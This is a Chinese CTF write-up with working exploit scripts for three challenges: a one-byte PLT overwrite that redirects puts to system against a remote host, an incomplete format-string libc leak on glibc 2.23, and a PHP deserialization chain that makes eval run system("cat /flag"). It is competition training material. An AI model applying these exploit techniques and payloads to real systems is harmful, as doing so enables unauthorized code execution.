cover

Main 函数有一个任意地址写入 1 字节漏洞:

image-20210604151148430

同时程序留有后门函数:

image-20210604151312921

利用任意地址写入一字节,修改 puts plt 表 jmp 部分汇编,跳转到 system 函数:

image-20210604151425674

image-20210604151450392

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level='debug'
context.terminal=['tmux','sp','-h']
# p = process("./pwn")
p = remote("118.190.62.234",12435)
elf = ELF("./pwn")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")

# gdb.attach(p,"b *0x0804875D")
# raw_input()
p.recvuntil("Try use a bullet to pwn this\n")
p.send(p32(0x80484d0+2)+'\x24')
'''
FF 25 20 A0 04 08
FF 25 24 A0 04 08
'''

p.recvuntil("name?\x00")
p.send("/bin/sh\x00")

p.interactive()

hangman

基于 glibc 2.23 的格式化字符串题目

输入一串字符串,然后自己输入该字符串的子串,程序就会就会增加匹配出来子串个数,这样的机会有 6 次,当匹配数量等于字符串的长度时,触发格式化字符串漏洞。

image-20210626174842559

实际上我们不用输入全部子串,只需要让程序计数等于字符串长度即可,这也就是程序漏洞所在。举个例子:%29$paaaaa%24$p ,当我们输入三次 a ,就能触发漏洞。

EXP

没有写完,比赛后面出去了,思路和泄露地址一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
context.log_level='info'
context.terminal=['tmux','sp','-h']
#p = process("./pwn")
p=process('./pwn',env={'LD_PRELOAD':'./libc-2.23.so'})
elf = ELF("./pwn")
libc = ELF("./libc-2.23.so")



p.recvuntil("Enter a word:")
payload = "%29$paaaaa%24$p"
p.sendline(payload)
p.sendafter("letter:",'a')
p.sendafter("letter:",'a')
p.sendafter("letter:",'a')
p.sendafter("letter:",'a')

p.recvuntil("0x")
__libc_start_main_240 = int(p.recv(12),16)
log.info("__libc_start_main_240:"+hex(__libc_start_main_240))
libc_base = __libc_start_main_240 - (0x7f7e5006b840-0x7f7e5004b000)
log.info("libc_base:"+hex(libc_base))

one_gadget = libc_base + 0x45226
log.info("one_gadget:"+hex(one_gadget))

p.recvuntil("0x")
stack_addr = int(p.recv(12),16)
log.info("stack_addr:"+hex(stack_addr))
target_addr = stack_addr+8
log.info("target_addr:"+hex(target_addr))

gdb.attach(p,"b *$rebase(0x1374)")
# gdb.attach(p,"b *$rebase(0x13c5)")
raw_input()


p.interactive()

杰克与肉丝

考点主要是后面md5和sha比较,由于传入的object类型。而md5和sha1不能处理object类型。所以会爆出一个False.
至此。判断就都过去了。然后eval执行
eval(new Exception('phpinfo();?>'))
这里会把一个类当作字符串带入eval。也就是说。会触发Exception类的__toString魔术方法
手册链接:https://www.php.net/manual/zh/exception.tostring.php
这里__toString会输出我们的错误

img

然后eval(报错字符)

1
2
3
eval('Exception: phpinfo();?> in /var/www/html/test/test.php:2
Stack trace:
#0 {main}')

这就是为啥payload嘚加上?>或者其他闭合标签的东西了。如果不闭合。eval解析不了后面的东西。就不能正常执行

完整EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class Jack
{
private $action;
}
class Love {
public $var;
}
class Titanic{
public $people;
public $ship;
}
class Rose{
public $var1;
public $var2 ;
}
$rose = new Rose();
$love = new Love();
$jack = new Jack();
$titanic = new Titanic();
$love->var = $rose;
$titanic->people = $jack;
$titanic->ship = $love;
$rose->var1 = new Exception('system("cat /flag");?>');
$ex = new Exception('system("cat /flag");?>',2);
$rose->var2 = $ex;
echo(urlencode(serialize($titanic)));